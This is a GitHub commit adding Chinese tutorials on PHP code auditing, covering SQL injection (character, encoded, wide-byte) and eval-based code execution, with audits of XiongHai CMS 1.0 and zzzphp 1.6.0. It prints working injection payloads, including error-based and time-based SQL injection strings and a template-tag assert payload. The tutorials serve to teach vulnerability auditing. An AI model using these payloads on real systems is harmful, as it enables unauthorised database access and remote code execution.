Skip to content

Commit 87f1ac3

Browse files
authored
Add files via upload
0 parents  commit 87f1ac3

11 files changed

+1207
-0
lines changed

1.1.初识代码审计.md

Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# 0x00 简介
2+
3+
终于来到了代码审计篇章。希望看了朋友有所收获,我们通常把代码审计分为黑盒和白盒,我们一般结合起来用。
4+
5+
通常我们白盒审计有多种方法我们可以归纳为:
6+
7+
1.通读全文
8+
9+
2.回溯
10+
11+
其中通读全文费时间,但是有利于代码审计的经验积累,也能更深入的挖掘一些难以发现的漏洞。功能回溯我们可以定向的审计一些功能和函数,最常见的就是对命令执行函数的回溯,和上传等功能的审计。通过熟悉白盒审计有利于漏洞的发掘,因为代码审计和开发都能熟悉到程序中那些地方会存在对数据库的操作和功能函数的调用,举个简单的例子当我们看到download的时候,我们就会想到是不是有任意文件下载。
12+
13+
# 0x01 环境与工具
14+
15+
我们在代码审计中又可以分为静态和动态,静态我们通常用于无法搭建原来的环境只能看代码逻辑来判断是否存在漏洞,而动态调试就可以debug、输出、监控SQL语句来看非常方便。
16+
17+
接下来代码审计工具基本就用到Sublime Text 3、VSCode、Seay源代码审计系统、PHPStorm+XDebug、文件对比、MYSQL监控、编码转换、正则调试等。其中文件对比工具可以拿来和更新补丁后的文件进行对于对比定位漏洞代码区,PHPStorm+XDebug可以动态调试定位漏洞成因,也有利于漏洞的发掘。当然你也可以用那些自动化审计的,貌似还支持代码回溯,还是能审计到一些漏洞的。环境能用基本就用phpstudy了。
18+
19+
# 0x02 知识准备
20+
21+
代码审计我们需要对php有一定的了解,当然是越深入越好,我们也不纠结,代码审计需不需要精通php什么的,只能说知识面在什么层次就能审计到什么层次的漏洞,但是至少你得看得懂代码。
22+
23+
我们应该具备一些知识:
24+
25+
1.基本的正则
26+
27+
2.数据库的一些语法(这个我在前面的数据库维基已经讲的差不多了)
28+
29+
3.至少你得看懂php代码
30+
31+
4.php配置文件以及常见函数
32+
33+
34+
# 0x03 关于文章的一些问题
35+
36+
前面我们的实验环境我基本上不会使用框架类的,我尽量使用一些很普通的网站,还有如何用phpstudy之类的来本地搭建网站这些我也不会讲,这些基础的问题搜索一下就有,不能独立解决问题怎么能进步,遇到一些特殊的问题我还是会说一下的。
37+
38+
# 0x04 文末
39+
40+
当然如果你跟我一样是一个新手才入门代码审计,看这篇文章最好不过了,因为我会讲的很细,当然我可能很多东西也讲不到,还请大家多看看别人的审计思路,只有不断的学习才有提高。

1.2.SQL注入审计.md

Lines changed: 214 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,214 @@
1+
<!-- TOC -->autoauto- [0x00 简介](#0x00-简介)auto- [0x01 字符型注入](#0x01-字符型注入)auto- [0x02 编码类注入](#0x02-编码类注入)auto- [0x03 宽字节注入](#0x03-宽字节注入)auto- [0x04 过滤](#0x04-过滤)auto- [0x05 实战审计](#0x05-实战审计)autoauto<!-- /TOC -->
2+
# 0x00 简介
3+
4+
为什么第一章我们学习,因为看这篇文章的朋友大概也看过我前面写的MySQL_wiki系列,这里来SQL注入的话我们能方便理解,同时sql注入也是审计中我们经常想要找到的,比较以来就getshell什么的也不现实这种漏洞也不多。
5+
6+
# 0x01 字符型注入
7+
8+
这里我们看到sqli-libs第一关的代码
9+
10+
```
11+
<?php
12+
//including the Mysql connect parameters.
13+
include("../sql-connections/sql-connect.php");
14+
error_reporting(0);
15+
// take the variables
16+
if(isset($_GET['id']))
17+
{
18+
$id=$_GET['id'];
19+
//logging the connection parameters to a file for analysis.
20+
$fp=fopen('result.txt','a');
21+
fwrite($fp,'ID:'.$id."\n");
22+
fclose($fp);
23+
// connectivity
24+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
25+
$result=mysql_query($sql);
26+
$row = mysql_fetch_array($result);
27+
28+
if($row)
29+
{
30+
echo "<font size='5' color= '#99FF00'>";
31+
echo 'Your Login name:'. $row['username'];
32+
echo "<br>";
33+
echo 'Your Password:' .$row['password'];
34+
echo "</font>";
35+
}
36+
else
37+
{
38+
echo '<font color= "#FFFF00">';
39+
print_r(mysql_error());
40+
echo "</font>";
41+
}
42+
}
43+
else { echo "Please input the ID as parameter with numeric value";}
44+
?>
45+
46+
```
47+
我们可以看到调用`$_GET['id']`获取参数内容,没有经过任何过来带入了SQL语句的查询,也就是代码没有任何过来且没开魔术引号,那么将会形成注入,如果开启魔术引号遇到数字型的我们还是能够注入的,因为`magic_quotes_gpc`只会转义单引号、双引号、反斜线、NULL,但是数字型注入我们可以不试用到这些。
48+
49+
```
50+
http://127.0.0.1/sqli/Less-1/?id=-1%27union%20select%201,user(),3--%20+
51+
52+
```
53+
54+
# 0x02 编码类注入
55+
56+
有些为了业务需要他会把传入一些编码后的参数再解码带入数据库查询,我们常见的有base64编码,也有的程序会内置url解码,这类写法通常见于框架。
57+
58+
1.base64
59+
60+
```
61+
<?php
62+
include("../sql-connections/sql-connect.php");
63+
$id=base64_decode($_GET['id']);
64+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
65+
$result=mysql_query($sql);
66+
$row = mysql_fetch_array($result);
67+
68+
if ($row) {
69+
echo "id:".$row['id']."<br>";
70+
echo "用户名:".$row['username']."<br>";
71+
echo "密码:".$row['password']."<br>";
72+
}else{
73+
print_r(mysql_error());
74+
}
75+
echo '<hr>';
76+
echo "查询的语句是:$sql";
77+
?>
78+
79+
```
80+
传入的值base64解密后带入查询,这种注入魔术引号是没办法拦截的,当我们遇到网站为base64编码的参数时可以留意下。
81+
82+
```
83+
http://127.0.0.1/sqli/Less-1/base64.php?id=JyB1bmlvbiBzZWxlY3QgMSx1c2VyKCksMyAtLSAr
84+
85+
```
86+
2.urldecode
87+
88+
```
89+
<?php
90+
include("../sql-connections/sql-connect.php");
91+
$id=urldecode($_GET['id']);
92+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
93+
$result=mysql_query($sql);
94+
$row = mysql_fetch_array($result);
95+
96+
if ($row) {
97+
echo "id:".$row['id']."<br>";
98+
echo "用户名:".$row['username']."<br>";
99+
echo "密码:".$row['password']."<br>";
100+
}else{
101+
print_r(mysql_error());
102+
}
103+
echo '<hr>';
104+
echo "查询的语句是:$sql";
105+
?>
106+
107+
```
108+
因为接受的参数只会被url解码一次,传入的值不是魔术引号认识的值所以可以绕过
109+
110+
```
111+
http://127.0.0.1/sqli/Less-1/base64.php?id=%2527union%20select%201,user(),3--%20+
112+
113+
```
114+
115+
# 0x03 宽字节注入
116+
117+
```
118+
<?php
119+
$conn = mysql_connect('localhost', 'root', 'root');
120+
mysql_select_db("security",$conn);
121+
mysql_query("set names 'gbk' ",$conn);
122+
$id=urldecode($_GET['id']);
123+
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
124+
$result=mysql_query($sql);
125+
$row = mysql_fetch_array($result);
126+
127+
if ($row) {
128+
echo "id:".$row['id']."<br>";
129+
echo "用户名:".$row['username']."<br>";
130+
echo "密码:".$row['password']."<br>";
131+
}else{
132+
print_r(mysql_error());
133+
}
134+
echo '<hr>';
135+
echo "查询的语句是:$sql";
136+
?>
137+
138+
```
139+
网上有很多解释大家可以搜索一下我这里就不详细介绍了大概原因就是:
140+
141+
id=1'->id=1\'->id=1%5c%27
142+
143+
id=1%df'->id=1%df%5c%27->id=1%DF5C%27->id=1運'
144+
145+
146+
当然还有其他各种类型的注入这里就不一一列举了,看了mysql系列文章的大概都知道,不知道的可以看看。
147+
148+
# 0x04 过滤
149+
150+
通常情况下一个成熟的cms是不存在不过滤的情况,一般的程序选择用函数来过滤比如`addslashes()`,也可以开启魔术引号,但是更多的程序它采用正则匹配来过滤,
151+
使用不正确的匹配替换方式反而导致被绕过的机会更大,比如有的程序把`union` 替换为空,那么我们就可以双写`ununionion`绕过从而还可能绕过外部WAF,对于整数型一般采用`intval()`等字符转换,后期通过实战一步一步讲解。
152+
153+
# 0x05 实战审计
154+
155+
找了半天源码,还是用这款熊海CMS V1.0吧,这款CMS感觉不错,什么洞都有,非常适合我们学习审计,同时审计这个cms的文章很多,大家如果觉得我写的不如人意,还能看看别人。
156+
157+
首先我们审计对传入的参数如果想快速的看是否有全局过滤,不妨找个文件输出一下`$_POST``$_GET`等等。
158+
159+
```
160+
echo $_POST['b'];
161+
echo $_GET['a'];
162+
163+
```
164+
165+
![file](./img/1.2.1.png)
166+
167+
没有全局过滤 我们来到后台登陆文件admin/files/login.php 看看login.php一般登陆存在注入的可能性还是很大的
168+
169+
![file](./img/1.2.2.png)
170+
171+
很明显 带入查询的user没有经过任何过滤,同时输出了错误,所以可以用报错查询,当然你也选择万能密码。
172+
173+
payload:
174+
175+
```
176+
user=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- +&password=111&login=yes
177+
178+
```
179+
180+
![file](./img/1.2.3.png)
181+
182+
在看看留言板 files/submit.php
183+
184+
![file](./img/1.2.4.png)
185+
186+
传入参数没有过滤
187+
188+
![file](./img/1.2.5.png)
189+
190+
同时插入的时候,这里使用了`mysql_error()`所以可以用报错注入,否则只能使用盲注了。
191+
192+
![file](./img/1.2.6.png)
193+
194+
payload:
195+
196+
```
197+
cid=0&name='or updatexml(1,concat(0x7e,(version())),0) or'&mail=1111&url=http%3A%2F%2F1&content=%E9%98%BF%E5%BE%B7&save=%E6%8F%90%E4%BA%A4&randcode=&jz=1&tz=1
198+
```
199+
200+
开始我们说过不是使用了过滤函数就万事大吉了,数字型注入可以不使用引号
201+
202+
![file](./img/1.2.7.png)
203+
204+
我们看到传入的`cid`已经被`addslashes()`函数转义了,查询的地方都没啥问题,但是到浏览计数的时候调用了它,那么我们就可以使用盲注或者报错注入了,因为有错误回显。
205+
206+
payload:
207+
208+
```
209+
http://127.0.0.1/xhcms/?r=content&cid=1%20and%20If(ascii(substr(database(),1,1))%3C10,0,sleep(10))
210+
211+
```
212+
213+
这个系统还有其他注入,想练手的自己下载审计一下,总体思路有用户交互的地方都有可能存在注入,这也是我们没有通读代码的一个审计思路。
214+

1.3.代码执行审计.md

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
2+
# 0x00 简介
3+
4+
代码执行也是我们经常遇到的,通常是`eval()``assert()`,当然还有回调函数比如`call_user_func()` `array_map()`,正则函数,动态调用等等,因为程序对传入的参数过滤不严或者没有过滤,导致代码执行,看过我前面写的php的webshell总结的话,你就会发现很多知识是相辅相成的。
5+
6+
# 0x01 代码执行
7+
8+
这里说说eval的命令执行,assert在php7后面移除了。我们来看一个简单的eval代码执行
9+
10+
test.php
11+
```
12+
<?
13+
$id = $_GET['x'];
14+
eval($id);
15+
?>
16+
17+
```
18+
payload:
19+
20+
```
21+
test.php?x=phpinfo();
22+
23+
```
24+
简单到waf以为他是个webshell了,当然我们实际情况肯定遇不到这么简单的,可能需要多重组合利用,这里下面我以一个实例为例
25+
26+
27+
# 0x02 实战审计
28+
29+
这里使用的是zzzphp V1.6.0的一个解析标签过程中引发的代码执行,网上也有其他人的审计思路,这里我是帮朋友复现的时候弄的。
30+
31+
找个的审计思路是全局搜索eval,当然你也可以搜索其他的能够引发代码执行的函数,但是这个这-1里没有。
32+
33+
路径:\inc\zzz_template.php
34+
35+
![file](./img/1.3.1.png)
36+
37+
我们发现eval里面有变量,那么他是可能存在代码执行的
38+
39+
![file](./img/1.3.2.png)
40+
41+
大概看了下`parserIfLabel()` 函数没有什么过滤,能够达到我们传入任意参数的目的,到了这里我们就是回溯那里调用了这个函数呗,全局搜索下`parserIfLabel()`,没搜索到,看了下是个类,所以搜索类名`ParserTemplate`
42+
43+
![file](./img/1.3.3.png)
44+
45+
既然 \admin\save.php 调用了我们这个,不妨看看后台那里有模板操作这个
46+
47+
![file](./img/1.3.4.png)
48+
49+
当然完全你也可以回溯代码去分析,但是既然有源码能看就看。
50+
51+
![file](./img/1.3.4.png)
52+
53+
随便找个文件放入我们遵循他正则的代码即可,不过一般我们测试的过程中,尽量选择对目标影响小的文件。
54+
55+
payload:
56+
57+
```
58+
{if:assert(phpinfo())}x{end if}
59+
60+
```
61+
于此同类的还有苹果cms8.x,都是在解析标签过程中出现的问题,一般看到可以自定义解析标签那么就值得注意,命令执行与此类似,这里就不说了。

0 commit comments

Comments
 (0)